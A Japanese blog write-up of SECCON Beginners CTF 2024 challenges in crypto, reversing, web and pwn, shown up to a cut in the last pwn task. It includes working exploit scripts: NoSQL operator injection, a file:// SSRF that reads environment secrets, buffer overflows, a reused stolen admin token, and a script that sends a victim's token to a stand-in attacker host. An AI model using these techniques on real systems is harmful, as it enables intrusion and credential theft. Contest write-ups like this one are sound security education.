LoginSignup
5
3

SECCON Beginners CTF 2024 Writeup

Posted at

SECCON Beginners CTF 2024 に参加しました.

962 チーム中 6 位だったので,一人にしてはかなり頑張っていると思います.
score.beginners.seccon.jp_certificate.png

ただ,Crypto は全完できたけど理解できていない問題があったり,Web の難しい問題は全然わからなかったり,課題がかなりある気がします.
ペアリング,グレブナー基底,ブロックチェーン,カーネルエクスプロイトは前々から勉強しなあかんなと思っていたけど避けてきたので,これを機に勉強します.多分.

Crypto

Safe Prime

author:ptr-yudai
beginner

Using a safe prime makes RSA secure, doesn't it?

Safe_Prime.tar.gz 774280c0d7d278ed01f537b13014fa15b4dc1d3a

$n = p \cdot (2 p + 1)$ で構成されている.

$n$ が $p$ のみで決まるので,二分探索する.

from Crypto.Util.number import *

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

def f(p):
    return 2 * p +1

def search(n):
    lb = 0
    ub = 2**1024
    while lb != ub:
        p = (lb + ub) // 2
        if p * f(p) < n:
            lb = p
        else:
            ub = p - 1
        print(lb, ub)
    return p

p = search(n)
q = f(p)

print(p)
print(q)

assert p * q == n

phi = (p-1) * (q-1)
d = inverse(e, phi)

m = long_to_bytes(pow(c, d, n))
print(m)

math

author:task4233
easy
RSA暗号に用いられる変数に特徴的な条件があるようですね...?

math.tar.gz 2740fceb50df89f4638a1e3b6ded3487a55461fc

$p, q$ は素数で,$a = p - x,; b = q -x$ とすると,$x, a, b$ は平方数となっている.
通常の RSA のパラメータに加えて $a \cdot b$ が与えられている.
また,$a$ は $A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169$ で割り切れて,$b$ は $B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661$ で割り切れることがわかっている.

$A, B$ はともに素数なので,$a = a'^2 = (k A)^2,\quad b = b'^2 = (l B)^2$ と表すことができて,$ab = k^2 l^2 A^2 B^2$ となる.
$ab / (A^2 B^2) = 1002777341573073149099549678043369$ を素因数分解すると $3^2 \cdot 173^2 \cdot 199^2 \cdot 306606827773^2$ となる.

$a \cdot b = (p - x) \cdot (q - x) = n - (p + q) x + x^2$
$\therefore x^2 + (a + b) x + (ab - n) = 0$
$k, l$ の組み合わせの数が少ないので,総当りして平方数となるような $x$ を探す.

from Crypto.Util.number import *
import gmpy2

def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661

factors = [3, 173, 199, 306606827773]
for bits in range(1<<4):
    k = 1
    l = 1
    for i in range(len(factors)):
        if (bits >> i) & 1 == 0:
            k *= factors[i]
        else:
            l *= factors[i]
    a = (k**2) * (A**2)
    b = (l**2) * (B**2)

    sq = (a - b)**2 + 4 * n
    if is_square(sq):
        x = (- (a + b) + int(gmpy2.isqrt(sq))) // 2
        assert x**2 + (a + b) * x + (ab - n) == 0
        assert is_square(x)
        break

p = int(a + x)
q = int(b + x)
assert n == p * q

phi = (p-1) * (q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(cipher, d, n)))

ARES

author:ptr-yudai
medium
ARES stands for Advanced RSA Encryption Standard.

nc ares.beginners.seccon.games 5000

ARES.tar.gz 91ee14acf67ffcb55f41f589a2a0c444241d9bf0

ARES は RSA で暗号化してから AES の CBC モードで暗号化していて,任意の平文,暗号文を投げるとそれぞれ暗号化,復号化してくれる.

$m^e = \text{AES_Dec}(\text{ct})$ となるような $\text{ct}$ がほしい.

今回は CBC モードが使われているので,$\text{ct}$ の後ろのブロックから順に決定していくことで所望の $\text{ct}$ が得られる.

$m^e$ のブロックを $M_0, M_1, \dots, M_7$,$\text{ct}$ のブロックを $C_0, C_1, \dots, C_7$ とする.

$IV = 0, C_7 = 0$ として
$c_7' = \text{RSA_Dec}(C_7') = \text{AES_Dec}(\text{AES_Dec}(IV + C_7))$
を求める.
ここで $c_7' = \text{int}(C_7')^d \mod{n}$ なので
$\text{int}(C_7') = c_{7}'^e \mod{n}$
とすると $C_7'$ が求まる.
$C_6 = M_7 \oplus C_7'$ とする.

次に,$IV = 0$ として
$c_6' = \text{RSA_Dec}(C_6') = \text{AES_Dec}(\text{AES_Dec}(IV + C_6))$
を求める.
同様に $c_6' = \text{int}(C_6')^d \mod{n}$ なので
$\text{int}(C_6') = c_{6}'^e \mod{n}$
とすると $C_6'$ が求まる.
$C_5 = M_6 \oplus C_6'$ とする.

これを繰り返すことで $\text{ct}$ が求められる.

ただし $n$ が与えられていないので,求める必要がある.
サーバに平文を送るときは整数であれば負の値でも良いので $-1$ を投げて,それを復号すると $n - 1$ が得られる.

from pwn import *
from Crypto.Util.number import long_to_bytes

N_BITS = 1024
e = 65537

def sovlve():
    io = remote('ares.beginners.seccon.games', 5000)
    enc_flag = int(io.recvline().decode().split()[-1], 16)
    enc_flag_bytes = int.to_bytes(enc_flag, N_BITS//8, 'big')

    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'm: ', str(-1).encode())
    c = io.recvline().decode().split()[-1]

    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'c: ', c.encode())
    n_1 = int(io.recvline().decode().split()[-1])
    n = n_1 + 1

    ct = b'\x00' * 16
    for i in range(len(enc_flag_bytes) // 16):
        if i == 0:
            ct_block = ct
            enc_flag_block = enc_flag_bytes[-16:]
        else:
            ct_block = ct[-16 * (i + 1) : -16 * i]
            enc_flag_block = enc_flag_bytes[-16 * (i + 1) : -16 * i]

        io.sendlineafter(b'> ', b'2')
        io.sendlineafter(b'c: ', (b'\x00' * 16 + ct_block).hex().encode())
        buf = int(io.recvline().decode().split()[-1])
        buf = pow(buf, e, n)
        buf = buf.to_bytes(16, 'big')
        ct = bxor(buf, enc_flag_block) + ct

    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'c: ', ct.hex().encode())
    flag = int(io.recvline().decode().split()[-1])

    print(long_to_bytes(flag))

def bxor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])

if __name__ == '__main__':
    sovlve()

bless

author:ptr-yudai,kanon
hard
ECDLP on two different curves...?

bless.tar.gz 484c9761181d1929b2126a18ea6e231deec3cbfb

あまり理解できていないですが.この辺を見て解きました.

BLS12-381 を調べているとペアリングがどうのこうのって話が出てくる.

$e(a G_1, G_2) = e(G_1, a G_2) = e(G_1, G_2)^a$ が成り立つらしい.

ただし,$G_1, G_2$ の位数が同じじゃないと行けないらしいが,この問題では $G_2$ を適当にとってきている.
h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5 を $G_2$ とかにかければいける.

よって,$e(sG_1, h_2 \cdot tG_2)^c = e(G_1, h_2 \cdot cstG_2)$ が成り立つような $c \quad (0 \le c < 256)$ を探せば良い.

import json

q = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
r = 0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001

F = GF(q, x, x)
F2.<i> = GF(q^2, "i", x^2 + 1)
F12.<w> = GF(q**12, "w", x**12 - 2*x**6 + 2)

i12 = w**6 - 1
z = w^-1

E1 = EllipticCurve(F, [0, 4])
E2 = EllipticCurve(F2, [0, 4*(1+i)])
E12 = EllipticCurve(F12, [0, 4])

h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5

def F2_to_F12(coeffs):
    assert len(coeffs) == 2
    c = coeffs[0]
    d = coeffs[1]
    x = c + d*i12

    return x


def sextic_twist(Px, Py):
    x = F2_to_F12(Px)
    y = F2_to_F12(Py)

    return E12(z^2*x, z^3*y)

G1 = E12(0x17F1D3A73197D7942695638C4FA9AC0FC3688C4F9774B905A14E3A3F171BAC586C55E83FF97A1AEFFB3AF00ADB22C6BB, 0x08B3F481E3AAA0F1A09E30ED741D8AE4FCF5E095D5D00AF600DB18CB2C04B3EDD03CC744A2888AE40CAA232946C5E7E1)

with open('./bless/output.json') as f:
    json_datas = json.load(f)

flag = []
for json_data in json_datas:
    sG1_x = json_data['P']['x']
    sG1_y = json_data['P']['y']
    sG1 = E12(sG1_x, sG1_y)

    tG2_x = json_data['Q']['x']
    tG2_y = json_data['Q']['y']
    tG2 = sextic_twist(tG2_x, tG2_y)

    cstG2_x = json_data['R']['x']
    cstG2_y = json_data['R']['y']
    cstG2 = sextic_twist(cstG2_x, cstG2_y)

    e_P1 = sG1.weil_pairing(h2 * tG2, r)
    e_P2 = G1.weil_pairing(h2 * cstG2, r)

    for c in range(256):
        if e_P1^c == e_P2:
            flag.append(c)
            print(c)
            break
    else:
        print('ERROR')
        exit()

print(bytes(flag))

Try hard in my style

author:kanon
hard
ok ok, its Franklin-Reiter's Rel... wait??

nc try-hard-in-my-style.beginners.seccon.games 5000

Try_hard_in_my_style.tar.gz 2b8b13a7cd4a25e9ef48e18bc6dbed83c74cf894

RSA で暗号化されている値は以下のようになっている.
$c_1 = (m + s)^e \mod{n}$
$c_2 = (m + s t_1)^e \mod{n}$
$c_3 = (m t_2 + s)^e \mod{n}$
($s$ は未知なランダムな値)

変数を減らしたいのでグレブナー基底を使う (あんまり理解できていないので Writeup: ASIS CTF 2021 - madras を参考にしました).

$y$ を $m$,$x$ を $s$ としてグレブナー基底を求めると
$y^e + A$ ($A$ は定数)
が得られる.

$n - A$ とすると,これが $m^e$ なので,サーバに $e$ 回接続して異なる $n$ に対する $m^e$ を得て Hastad's Broadcast Attack を使う.

from pwn import *
from Crypto.Util.number import long_to_bytes

e = 17

def get_value():
    io = remote('try-hard-in-my-style.beginners.seccon.games', '5000')

    e = int(io.recvline().decode().split('=')[-1])
    n = int(io.recvline().decode().split('=')[-1])
    t1 = int(io.recvline().decode().split('=')[-1])
    t2 = int(io.recvline().decode().split('=')[-1])
    c1 = int(io.recvline().decode().split('=')[-1])
    c2 = int(io.recvline().decode().split('=')[-1])
    c3 = int(io.recvline().decode().split('=')[-1])

    print(f"{e = }")
    print(f"{n = }")
    print(f"{t1 = }")
    print(f"{t2 = }")
    print(f"{c1 = }")
    print(f"{c2 = }")
    print(f"{c3 = }")

    PR.<x,y> = PolynomialRing(Zmod(n))
    f = (x + y)^e - c1
    g = (t1 * x + y)^e - c2
    h = (x + t2 * y)^e - c3

    polys = [f, h, g]
    I = Ideal(polys)
    basis = I.groebner_basis()
    print(basis[0])
    return int(n), int(n-list(basis[0])[1][0])

if __name__ == '__main__':
    cs = []
    ns = []
    for _ in range(e):
        n, c = get_value()
        cs.append(c)
        ns.append(n)

    me = int(crt(cs, ns))
    m = int(me^(1/e))
    print(long_to_bytes(m))

Reversing

assemble

author:hi120ki
beginner
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

https://assemble.beginners.seccon.games

assemble.tar.gz dc12b54445e8b38e25949646ed960304b19d118d

アセンブリを書いていく問題.
命令は mov, push, syscall のみ使える.

Challenge 1

Please write 0x123 to RAX!

mov rax, 0x123

Challenge 2

Please write 0x123 to RAX and push it on stack!

mov rax, 0x123
push rax

Challenge 3

Please use syscall to print Hello on stdout!

mov rcx, 478560413000
push rcx

mov rdx, 5
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall

Challenge 4

Please read flag.txt file and print it to stdout!

push 0
mov rcx, 8392585648256674918
push rcx
mov rdx, 0
mov rsi, 0
mov rdi, rsp
mov rax, 2
syscall

mov rdx, 0x100
mov rsi, rsp
mov rdi, rax
mov rax, 0
syscall

mov rdx, 0x34
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall

cha-ll-enge

author:hi120ki
easy
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

cha-ll-enge.tar.gz 0356d82e580af031d889a46a750dd3a6b96a74ce

全然わからなかったので,ChatGPT に聞くと LLVM であることがわかる.

そのまま GPT-4o に

以下の LLVM の細かい動作を知りたいので,同じ処理をする C 言語のプログラムを書いてください.

て聞くと以下のコードを吐いてくれた

#include <stdio.h>
#include <string.h>

const int key[50] = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 
                    125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 
                    56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 
                    8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 
                    39, 66, 44, 27, 122, 77, 36, 20, 122, 7};

int main() {
    char input[70];
    int temp1[50];
    int correct_count = 0;
    int result = 0;
    long i = 0;

    printf("Input FLAG : ");
    scanf("%s", input);

    // Check if the length of input is 49
    if (strlen(input) != 49) {
        puts("Incorrect FLAG.");
        return 1;
    }

    // Process each character of the input
    while (i < 49) {
        int c = (int)input[i];
        int k1 = key[i];
        int xor1 = c ^ k1;
        int k2 = key[i + 1];
        int xor2 = xor1 ^ k2;
        
        // Check if the result of the XOR operations is zero
        if (xor2 == 0) {
            correct_count++;
        }
        
        i++;
    }

    // Check if the count of correct XOR results is 49
    if (correct_count == 49) {
        printf("Correct! FLAG is %s.\n", input);
        return 0;
    } else {
        puts("Incorrect FLAG.");
        return 1;
    }
}
lst = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

for i in range(len(lst) - 1):
    print(chr(lst[i] ^ lst[i + 1]), end='')
print()

onstruct

author:Arata
medium
使っていない関数がたくさんある……?

construct.tar.gz 2a78b30c7cbc7e4492e20f18463341c2028c2bee

Ghidra でデコンパイルしたけど,関数を呼び出している順番がわからなかった.

ltrace を繰り返し使えば調べられる.

└─< ltrace ./construct c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
strlen("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...)                                                                                                     = 32
strncmp("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"..., "c0_d4yk261hbosje893w5igzfrvaumql"..., 2)                                                          = 0
strncmp("ns7ruc70rs_3as3_h1d1ng_7h1ngs!", "nske1cgaiylz0mwfv7p9r32h6qj8bt4d"..., 2)                                                               = 0
strncmp("7ruc70rs_3as3_h1d1ng_7h1ngs!", "7rvb9qh5_1ops6jg3ykf8x0emtcind24"..., 2)                                                                 = 0
strncmp("uc70rs_3as3_h1d1ng_7h1ngs!", "uchnkyi6wb2ld507p8g3stfej1rzqmo", 2)                                                                       = 0
strncmp("70rs_3as3_h1d1ng_7h1ngs!", "701zvbdfp4ioqc2hy_juegkmatls3", 2)                                                                           = 0
strncmp("rs_3as3_h1d1ng_7h1ngs!", "rsl841qo6_0dwg529zanmbpvxe7", 2)                                                                               = 0
strncmp("_3as3_h1d1ng_7h1ngs!", "_3erat9f6mx854pyol7zkvdwn", 2)                                                                                   = 0
strncmp("as3_h1d1ng_7h1ngs!", "astioc294n0lxu38fdk_ypm", 2)                                                                                       = 0
strncmp("3_h1d1ng_7h1ngs!", "3_8wk7li6uqfmhe50bdsx", 2)                                                                                           = 0
strncmp("h1d1ng_7h1ngs!", "h14ktywpzma2l7nr685", 2)                                                                                               = 0
strncmp("d1ng_7h1ngs!", "d18egbnyw6rm_tqjh", 2)                                                                                                   = 0
strncmp("ng_7h1ngs!", "ng3mwpzduqth_7o", 2)                                                                                                       = 0
strncmp("_7h1ngs!", "_74sz2gkvaxch", 2)                                                                                                           = 0
strncmp("h1ngs!", "h1lxgum48es", 2)                                                                                                               = 0
strncmp("ngs!", "ngduzx_ai", 2)                                                                                                                   = 0
strncmp("s!", "s!om347a", 2)                                                                                                                      = 0
puts("CONGRATULATIONS!"CONGRATULATIONS!
)                                                                                                                          = 17
printf("The flag is ctf4b{%s}\n", "c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
)                                                                          = 52
_exit(0 <no return ...>
+++ exited (status 0) +++

former-seccomp

author:Arata
hard
フラグチェック用のシステムコールを自作してみました

former-seccomp.tar.gz e84744722afde5756640fccb12afd01654f77c25

Ghidra でデコンパイルすると RC4 の関数が見つかる.

そこを呼び出している部分を見ると入力した値と比較している処理が見つかる.

undefined8 check_flag(char *flag)
{
    size_t flag_len;
    undefined8 uVar1;
    size_t key_len;
    long ct;
    ulong i;
    long i_;
    
    flag_len = strlen(flag);
    if (flag_len == 0x1a) {
        for (i = 0; key_len = strlen(&key), i < key_len; i = i + 1) {
            (&key)[i] = (char)i + 0x20U ^ (&key)[i];
        }
        ct = rc4(&enc_data,&key);
        for (i_ = 0; (flag[i_] != '\0' && (*(char *)(i_ + ct) != '\0')); i_ = i_ + 1) {
            if (flag[i_] != *(char *)(i_ + ct)) {
                return 0;
            }
        }
        uVar1 = 1;
    }
    else {
        uVar1 = 0;
    }
    return uVar1;
}
def KSA(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def RPGA(S):
    S = S[:]
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        key = S[(S[i] + S[j]) % 256]
        yield key

def RC4(plaintext, key):
    S = KSA(key)
    return bytes([x ^ y for x, y in zip(plaintext, RPGA(S))])

with open('./former-seccomp/former-seccomp', 'rb') as f:
    data = f.read()

enc_data = data[0x3010 : 0x3010 + 0x1a]
key = data[0x3030 : 0x3030 + 10]

key = list(key)
for i in range(len(key)):
    key[i] = i + 0x20 ^ key[i]
key = bytes(key)

flag = RC4(enc_data, key)
print(f'ctf4b{{{flag.decode()}}}')

Misc

getRank

author:xryuseix
easy

https://getrank.beginners.seccon.games

getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16

10 ** 255 よりも大きな値を入れたいが,以下のようにいくつか制限がある.

function chall(input: string): Res {
    if (input.length > 300) {
        return {
            rank: -1,
            message: "Input too long",
        };
    }

    let score = parseInt(input);
    if (isNaN(score)) {
        return {
            rank: -1,
            message: "Invalid score",
        };
    }
    if (score > 10 ** 255) {
        // hmm...your score is too big?
        // you need a handicap!
        for (let i = 0; i < 100; i++) {
            score = Math.floor(score / 10);
        }
    }
    return ranking(score);
}

普通に入力してもだめなので,文字列として入力できる最大長で,16 進数表記で最大の値を入れてみると Infinity となることがわかる.

score = parseInt('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')
// >>> Infinity

Infinity

score = Math.floor(score / 10);

の処理をしても Infinity のままになる.

clamre

author:n01e0
easy

アンチウィルスのシグネチャを読んだことはありますか?

※サーバにアクセスしなくても解けます

https://clamre.beginners.seccon.games

clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c

flag.ldv の中に正規表現がある.

/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

\x63\x74\x66 とかはそのまま ASCII で変換する.
4 とかはそのまま 4 になる.
() でくくられているのはグループになっていて,\7 とかは 7 番目のグループを指す (ただし,先頭の (\x63\x74\x66) が 2 番目).

flag = b''

flag += b'\x63\x74\x66' ## 2
flag += b'4' ## 3
flag += b'\x62' ## 4
flag += b'{B' ## 5
flag += b'\x72' ## 6
flag += b'\x33' ## 7

flag += b'4'

flag += b'\x6b1' ## 8
flag += b'\x6e\x67' ## 9
flag += b'\x5f' ## 10

flag += b'4'

flag += b'\x6c' ## 11

flag += b'\x6c'
flag += b'\x5f'

flag += b'\x54\x68' ## 12

flag += b'\x33'
flag += b'\x5f'

flag += b'\x480' ## 13
flag += b'\x75' ## 14
flag += b'5' ## 15

flag += b'\x33'
flag += b'\x5f'

flag += b'\x52' ## 16

flag += b'\x75'
flag += b'\x6c'
flag += b'\x33'

flag += b'5' ## 17
flag += b'}'

print(flag.decode())

Web

wooorker

author:yuasa
beginner

adminのみflagを取得できる認可サービスを作りました!

https://wooorker.beginners.seccon.games

脆弱性報告bot

wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52

next に URL を指定するとログイン後に token をリクエストパラメータに設定して,そこに飛んでくれる.

window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;

login?next=https://my.server.com を bot に提出する.

└─< curl https://wooorker.beginners.seccon.games/flag -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0MjY2LCJleHAiOjE3MTg0Njc4NjZ9.RDtWtqcoMSSX8AwMbj9ylD7N27VklOnUg4Bzl4Unmbw" 
{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}

ssrforlfi

author:Satoki
easy

SSRF? LFI? ひょっとしてRCE?

https://ssrforlfi.beginners.seccon.games

ssrforlfi.tar.gz 52c79695ec23cafb85105bc0dae8e4e3eef2ae1f

以下のように色々対策されている

def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

通常のファイルパスとしては存在しないが,URL としては有効なものを指定すると,file スキーマの対策をバイパスできる.

完全修飾絶対 URI のフォーマットは以下のようになっているので,スキーマとパスの間にホスト名が入れられる

scheme: | // | user:password@ | host | :port | /path | ?query | #fragment

https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ とすると,以下のように環境変数が取得できる.

UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

double-leaks

author:task4233
medium

Can you leak both username and password? :eyes: https://double-leaks.beginners.seccon.games

double-leaks.tar.gz 0b2caf8009ad63d20dbc672e9213a85a09ce0fed

MongoDB で SQLi みたいなことをする.

以下のようにパラメータを JSON で受け取っているので,文字列以外も投げられる.

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password_hash = request.json["password_hash"]
    if waf(password_hash):
        return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400

    try:
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )
        if user is None:
            return jsonify({"message": "Invalid Credential"}), 401

        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

        return jsonify(
            {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
        )

    except Exception:
        traceback.print_exc(file=sys.stderr)
        return jsonify({"message": "Internal Server Error"}), 500
    finally:
        client.close()

MongoDBのcollection基本操作をpythonで(pymongo) を見ると $lt とか $ne が使えることがわかる.

import requests
import json
from string import printable

URL = 'https://double-leaks.beginners.seccon.games/login'

def search_username():
    username = ''
    while True:
        for c in printable:
            if c in '.*\\+?|^$':
                c = '\\' + c
            data = {
                'username': {
                    '$regex': f'^{username + c}.*'
                },
                'password_hash':{
                    '$ne': 0
                }
            }
            res = requests.post(URL, json=data)
            res = json.loads(res.text)
            if res['message'] == 'DO NOT CHEATING':
                username += c
                print(username)
                break
        else:
            break
    print(f'{username = }')
    return username

def search_passwdhash(username):
    lb = 0
    ub = 1 << 256

    while lb != ub:
        mid = (lb + ub) // 2
        data = {
            'username': username,
            'password_hash':{
                '$lte': f'{mid:032x}'
            }
        }
        res = requests.post(URL, json=data)
        res = json.loads(res.text)
        if res['message'] == 'DO NOT CHEATING':
            ub = mid
        else:
            lb = mid + 1
    
    print(f'passwdhash = {lb:032x}')
    return f'{lb:032x}'

if __name__ == '__main__':
    username = search_username()
    search_passwdhash(username)

wooorker2

author:yuasa
medium

トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

https://wooorker2.beginners.seccon.games

脆弱性報告bot

wooorker2.tar.gz 8a791365347487091fdda6fce4cf6fd463c0b567

wooorker とは違い,フラグメント識別子に token が与えられるのでリクエストには含まれない.

window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;

最初に next で訪れるサイトに JavaScript のコードを配置することで token を送信させることを考える.

attacker.server.1 に以下を配置する (; を含むと失敗するっぽい).

<script>window.location.href = `https://attacker.server.2?t=${location.hash.split('=')[1]}`</script>

以下を提出すると,attacker.server.2 に token が届く

login?next=https://attacker.server.1

Pwnable

simpleoverflow

author:n01e0
beginner

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32

buf が BOF できて,その直後に is_admin があるので,適当に入れればいける.

from pwn import *

io = remote('simpleoverflow.beginners.seccon.games', 9000)

io.sendlineafter(b'name:', b'\xff' * 11)
io.interactive()

simpleoverwrite

author:n01e0
easy

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

simpleoverwrite.tar.gz 258a74ec5be217dd8cdf46c428866e52315e4312

セキュリティ機構

└─< checksec --file=./simpleoverwrite/chall 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   44) Symbols       No    0               3               ./simpleoverwrite/chall

BOF ができて canary も無いので,リターンアドレスを win に書き換える.

from pwn import *

io = remote('simpleoverwrite.beginners.seccon.games', 9001)
io.sendlineafter(b'input:', b'A' * 18 + p64(0x0000000000401186))
io.interactive()

pure-and-easy

author:n01e0
easy

nc pure-and-easy.beginners.seccon.games 9000

pure-and-easy.tar.gz 1318c46e8f8908a7b2ec3204b4a30205e05ea3b2

セキュリティ機構

└─< checksec --file=chall                  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   46) Symbols       No    0               3               chall

書式文字列攻撃ができるので,exit 関数の GOT を win 関数に書き換える.

pwndbg> got
GOT protection: Partial RELRO | GOT functions: 9
[0x404000] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */
[0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401046 (__stack_chk_fail@plt+6) ◂— push 1
[0x404010] printf@GLIBC_2.2.5 -> 0x401056 (printf@plt+6) ◂— push 2
[0x404018] alarm@GLIBC_2.2.5 -> 0x7ffff7cea540 (alarm) ◂— endbr64 
[0x404020] read@GLIBC_2.2.5 -> 0x401076 (read@plt+6) ◂— push 4
[0x404028] fgets@GLIBC_2.2.5 -> 0x401086 (fgets@plt+6) ◂— push 5
[0x404030] setvbuf@GLIBC_2.2.5 -> 0x7ffff7c815f0 (setvbuf) ◂— endbr64 
